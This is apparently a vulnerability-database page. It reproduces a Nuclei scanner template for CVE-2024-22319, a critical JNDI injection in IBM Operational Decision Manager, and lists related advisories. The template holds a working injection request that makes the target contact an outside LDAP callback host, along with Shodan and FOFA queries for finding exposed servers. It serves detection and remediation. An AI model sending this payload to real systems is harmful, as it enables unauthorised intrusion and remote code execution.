IBM Operational Decision Manager - JNDI Injection
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
 | Security Bulletin: Multiple security vulnerabilities are addressed with IBM Cloud Pak for Business Automation iFixes for March 2024. | 15 Apr 202502:17 | – | ibm |
| Security Bulletin: IBM Operational Decision Manager for January 2024 - Multiple CVEs addressed | 15 Apr 202502:18 | – | ibm |
 | Operational Decision Manager Business Rule Execution Arbitrary Code | 27 May 202400:00 | – | bdu_fstec |
 | CVE-2024-22319 | 2 Feb 202404:21 | – | circl |
 | IBM Operational Decision Manager Injection Vulnerability | 2 Feb 202400:00 | – | cnnvd |
 | CVE-2024-22319 | 2 Feb 202402:14 | – | cve |
 | CVE-2024-22319 IBM Operational Decision Manager JDNI injection | 2 Feb 202402:14 | – | cvelist |
 | CVE-2024-22319 | 2 Feb 202403:15 | – | nvd |
 | CVE-2024-22319 | 2 Feb 202403:15 | – | osv_cve |
 | Remote code execution | 2 Feb 202403:15 | – | prion |
10
id: CVE-2024-22319
info:
name: IBM Operational Decision Manager - JNDI Injection
author: DhiyaneshDK
severity: critical
description: |
IBM Operational Decision Manager 8.10.3, 8.10.4, 8.10.5.1, 8.11, 8.11.0.1, and 8.12.0.1 is susceptible to remote code execution attack via JNDI injection when passing an unchecked argument to a certain API. IBM X-Force ID: 279145.
impact: |
Unauthenticated attackers can execute arbitrary code via JNDI injection, potentially compromising the entire IBM ODM system.
remediation: |
Update IBM Operational Decision Manager to a version that addresses CVE-2024-22319.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-22319
cwe-id: CWE-74
epss-score: 0.764
epss-percentile: 0.99541
cpe: cpe:2.3:a:ibm:operational_decision_manager:8.10.3:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ibm
product: operational_decision_manager
shodan-query:
- html:"IBM ODM"
- http.html:"ibm odm"
fofa-query:
- title="IBM ODM"
- title="ibm odm"
- body="ibm odm"
tags: cve,cve2024,ibm,odm,decision-manager,jndi,jsf,rce,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/decisioncenter-api/v1/about?datasource=ldap://{{interactsh-url}}"
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, "dns")
- 'contains(header, "application/json")'
- 'contains(body, "patchLevel\":")'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100b9633e04d56e21ead442f0b506d0b03ee1ba17e7a04a96f1ae4d8f52eeeced95022100fc12064aa1d83e91deeb781942a0193dc9397838af61317465ec139e26b6b8a4:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
8.5High risk
Vulners AI Score8.5
CVSS 3.18.1 - 9.8
EPSS0.764
SSVC